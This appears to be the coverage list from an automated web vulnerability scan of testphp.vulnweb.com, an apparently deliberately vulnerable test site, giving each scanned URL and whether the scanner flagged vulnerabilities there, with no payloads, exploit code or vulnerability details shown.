Scanned items (coverage report)

URL:http://testphp.vulnweb.com/

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/.idea

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/.idea/.name

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/.idea/acuart.iml

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/.idea/encodings.xml

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/.idea/misc.xml

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/.idea/modules.xml

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/.idea/scopes

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/.idea/scopes/scope_settings.xml

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/.idea/vcs.xml

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/.idea/workspace.xml

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/_mmServerScripts

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/_mmServerScripts/MMHTTPDB.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/_mmServerScripts/mysql.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/404.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/adm1nPan3l

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/adm1nPan3l/index.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/admin

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/admin/create.sql

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/AJAX

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/AJAX/artists.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/AJAX/categories.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/AJAX/htaccess.conf

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/AJAX/index.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/AJAX/infoartist.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/AJAX/infocateg.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/AJAX/infotitle.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/AJAX/showxml.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/AJAX/styles.css

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/AJAX/titles.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/artists.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/bxss

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/bxss/adminPan3l

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/bxss/adminPan3l/index.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/bxss/adminPan3l/style.css

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/bxss/cleanDatabase.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/bxss/database_connect.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/bxss/index.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/bxss/test.js

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/bxss/vuln.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/cart.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/categories.php
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/clearguestbook.php
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/clientaccesspolicy.xml
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/comment.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Connections
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Connections/DB_Connection.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/crossdomain.xml
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/CVS
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/CVS/Entries
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/CVS/Entries.Log
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/CVS/Repository
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/CVS/Root
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/database_connect.php
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/disclaimer.php
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/favicon.ico
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Flash
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Flash/add.fla

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Flash/add.swf

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/guestbook.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/hpp

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/hpp/index.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/hpp/params.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/hpp/test.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/images

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/index.bak

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/index.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/index.zip

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/listproducts.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/login.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/logout.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/medias

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/medias/css

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/medias/css/main.css

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/medias/img

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/medias/js

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/medias/js/common_functions.js

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/.htaccess

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/buy.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/details.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/images

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/index.php

No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/rate.php

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/1.jpg.tn
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/2.jpg.tn
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/3.jpg.tn
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/4.jpg.tn
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/5.jpg.tn
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/6.jpg.tn
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/7.jpg.tn
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/8.jpg.tn
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/credentials.txt
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/ipaddresses.txt
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/path-disclosure-win.html
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/wp-config.bak
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/WS_FTP.LOG
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/privacy.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/product.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/redir.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/search.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/secured
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/secured/database_connect.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/secured/index.php
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/secured/newuser.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/secured/office.htm
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/secured/office_files
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/secured/office_files/filelist.xml
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/secured/phpinfo.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/secured/style.css
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/sendcommand.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/showimage.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/signup.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/style.css
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Templates
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Templates/main_dynamic_template.dwt.php
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/userinfo.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/wvstests

Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts/version.php
No vulnerabilities have been identified for this URL